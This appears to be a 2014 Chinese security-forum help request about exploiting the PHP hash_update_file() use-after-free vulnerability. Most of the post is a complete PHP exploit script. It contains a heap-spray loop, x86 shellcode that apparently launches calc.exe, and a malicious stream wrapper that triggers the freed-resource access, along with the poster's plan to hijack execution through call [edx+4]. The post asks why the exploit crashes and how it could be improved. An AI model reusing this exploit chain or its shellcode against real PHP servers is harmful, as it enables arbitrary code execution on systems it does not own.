首页
社区
课程
招聘
[求助]调试一个php 漏洞的疑惑
发表于: 2014-6-22 23:25 2581

[求助]调试一个php 漏洞的疑惑

2014-6-22 23:25
2581
漏洞的全名是PHP hash_update_file() Already Freed Resource Access Vulnerability
poc在
http://php-security.org/2010/05/01/mops-2010-001-php-hash_update_file-already-freed-resource-access-vulnerability/index.html   可以找到。

这个漏洞。我看了看poc 想用堆喷射的方法来利用
<?php

	$chunk_size = 0x80000;
	$payload= "\x90\x90\x90\x90\x90\x90\x90\x90\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
	$nopsled = "\x04\x04\x04\x04";
	while(strlen($nopsled)<$chunk_size)
	{
		$nopsled.= $nopsled;
	}
	echo strlen($nopsled);

	$nopsled_len = $chunk_size - (strlen($payload) + 20);
	$nopsled = substr($nopsled,0, $nopsled_len);

	for ($i = 0 ; $i < 100 ; $i++)
	{
	$heap_chunk_0[$i] = $nopsled.$payload;
	}

  define("OFFSET", pack("L",0x04040404));  //这里控制edx

  class AttackStream {
    function stream_open($path, $mode, $options, &$opened_path)
    {
      return true;
    }

    function stream_read($count)
    {
      hash_final($GLOBALS['hid'], true);
      $GLOBALS['aaaaaaaaaaaaaaaaaaaaaa'] = str_repeat(OFFSET, 3);
      return "A";
    }

    function stream_eof()
    {
      return true;
    }

    function stream_seek($offset, $whence)
    {
               return false;
    }
  }

  stream_wrapper_register("attack", "AttackStream") or die("Failed to register protocol");

  $hid = hash_init('md5');
  hash_update_file($hid, "attack://nothing");
?>


这个漏洞,我们可控edx , 通过   call  [edx+4]  来劫持流程。我的想法是用跳转到04040404 这个地方来。[04040404+4]  又指向 04040404 , 然后  0404 转成汇编指令是 add al,4 .  一直执行到我的shellcode
这个思路,有错误么。真实执行的时候确跳出了下面个对话框。


(这里是堆溢出??怎么会。。。。)
我想问各位大神的是
这个漏洞有更好的利用方式么。我的思路错在哪儿???

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//